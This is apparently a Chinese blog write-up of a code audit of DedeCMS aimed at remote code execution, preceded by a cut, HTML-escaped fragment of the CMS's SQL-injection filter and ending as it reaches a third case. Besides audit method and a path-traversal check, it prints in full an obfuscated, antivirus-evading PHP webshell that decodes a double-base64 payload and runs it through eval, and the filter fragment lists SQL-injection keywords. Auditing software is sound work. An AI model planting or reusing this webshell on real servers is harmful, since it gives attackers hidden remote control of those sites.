17);\"\u003E''\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$old_pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$log_file\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EDEDEINC\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\u002F..\u002Fdata\u002F'\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Emd5\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_cookie_encode\u003C\u002Fspan\u003E).\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'_safe.txt'\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$userIP\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EGetIP\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$getUrl\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EGetCurUrl\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F如果是普通查询语句,直接过滤一些特殊语法\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$querytype\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'select'\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$notallow1\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"[^0-9a-z@\\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\\.-]{1,}\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F$notallow2 = \"--|\u002F\\*\";\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u002F\"\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$notallow1\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u002Fi\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$db_string\u003C\u002Fspan\u003E))\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Efputs\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Efopen\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$log_file\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'a+'\u003C\u002Fspan\u003E),\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$userIP\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E||\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$getUrl\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E||\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$db_string\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E||SelectBreak\\r\\n\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eexit\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"<font size='5' color='red'>Safe Alert: Request Error step 1 !<\u002Ffont>\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F完整的SQL检查\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ewhile\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$db_string\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\''\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E===\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ebreak\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E .\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Esubstr\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$db_string\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$old_pos\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$old_pos\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ewhile\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos1\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$db_string\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\''\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos2\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estrpos\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$db_string\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'\\\\'\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos1\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E===\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E               {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ebreak\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E               }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelseif\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos2\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003EFALSE\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E||\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos2\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos1\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E               {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                    \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos1\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ebreak\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E               }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$pos2\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$clean\u003C\u002Fspan\u003E .\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'$s

意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE

2025-08-15 16:57
963

前言

书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS

官方网站 https://www.dedecms.com/

最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路

环境搭建

去官网下载源码,然后配合 phpstudy 搭建就 ok 了

这个比较简单,注意根目录需要放 upload 目录

注意默认的管理员目录是 dede,访问/dede/login.php

默认账户密码adminadmin

代码审计

这里我只找 RCE 漏洞

首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞

sink 点的话可以使用一个工具

Seay 源代码审计系统

https://github.com/f1tz/cnseay

虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术

我们直接把源码丢进去就可以了

可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的

然后这里我只关注能够 RCE 的漏洞

找到之后没有什么技巧,就是回头看参数是否可以控制

下面举个例子

案例 1

比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下

<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbaTRnSkVRN0NuMEtKSEJoYzNNOUoyRW5Pd29rY0dGNWJHOWhaRTVoYldVOUozQmhlV3h2WVdRbk93b2thMlY1UFNjd1kyTXhOelZpT1dNd1pqRmlObUU0SnpzS2FXWWdLR2x6YzJWMEtDUmZVRTlUVkZza2NHRnpjMTBwS1hzS0lDQWdJQ1JrWVhSaFBXVnVZMjlrWlNoaVlYTmxOalJmWkdWamIyUmxLQ1JmVUU5VFZGc2tjR0Z6YzEwcExDUnJaWGtwT3dvZ0lDQWdhV1lnS0dsemMyVjBLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZEtTbDdDaUFnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUmZVMFZUVTBsUFRsc2tjR0Y1Ykc5aFpFNWhiV1ZkTENSclpYa3BPd29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkhCaGVXeHZZV1FzSW1kbGRFSmhjMmxqYzBsdVptOGlLVDA5UFdaaGJITmxLWHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQmhlV3h2WVdROVpXNWpiMlJsS0NSd1lYbHNiMkZrTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLQ1FsbGRtRnNLQ1J3WVhsc2IyRmtLVHNLSUNBZ0lDQWdJQ0JsWTJodklITjFZbk4wY2lodFpEVW9KSEJoYzNNdUpHdGxlU2tzTUN3eE5pazdDaUFnSUNBZ0lDQWdaV05vYnlCaVlYTmxOalJmWlc1amIyUmxLR1Z1WTI5a1pTaEFjblZ1S0NSa1lYUmhLU3drYTJWNUtTazdDaUFnSUNBZ0lDQWdaV05vYnlCemRXSnpkSElvYldRMUtDUndZWE56TGlSclpYa3BMREUyS1RzS0lDQWdJSDFsYkhObGV3b2dJQ0FnSUNBZ0lHbG1JQ2h6ZEhKd2IzTW9KR1JoZEdFc0ltZGxkRUpoYzJsamMwbHVabThpS1NFOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKRjlUUlZOVFNVOU9XeVJ3WVhsc2IyRmtUbUZ0WlYwOVpXNWpiMlJsS0NSa1lYUmhMQ1JyWlhrcE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUgwS2ZRPT0=';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
   if ($k[0] == 'd' && $k[5] == 'd') {
       $template_source = str_replace($v,'',$password);
  }}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
   header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
   echo base64_decode/**/($NkM1M7);
}

我们可以看到这个参数其实是不能控制的

`aes_decode[1]就是 $key,等价于$template_source

$template_source = str_replace($v, '', $password);

来源于$password

而其中 password 是固定的,所以不可以控制

案例 2

function DeleteFile($filename)
  {
       $filename = $this->baseDir.$this->activeDir."/$filename";
       if(is_file($filename))
      {
           @unlink($filename); $t="文件";
      }
       else
      {
           $t = "目录";
           if($this->allowDeleteDir==1)
          {
               $this->RmDirFiles($filename);
          } else
          {
               // 完善用户体验,by:sumic
               ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
               exit;
          }
           
      }
       ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
       return 0;
  }
}

是一个方法,这种需要寻找调用这个方法的地方

else if($fmdo=="del")
{
   $fmm->DeleteFile($filename);
}

这种是一个典型的控制器,根据 fmdo 来选择对应的操作

不过根据所在的文件的注释

/**
* 文件管理控制
*
* @version       $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package       DedeCMS.Administrator
* @founder       IT柏拉图, https://weibo.com/itprato
* @author         DedeCMS团队
* @copyright     Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license       http://help.dedecms.com/usersguide/license.html
* @link           http://www.dedecms.com
*/

这里就能大概猜到了

是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越

不过这里是做了限制的

$filename = preg_replace("#([.]+[/]+)*#", "", $filename);

移除 ../ 形式的路径穿越字符

而且下面还会直接移除..

所以考虑放弃

案例 3

定位到 sys_sql_query.php 文件了

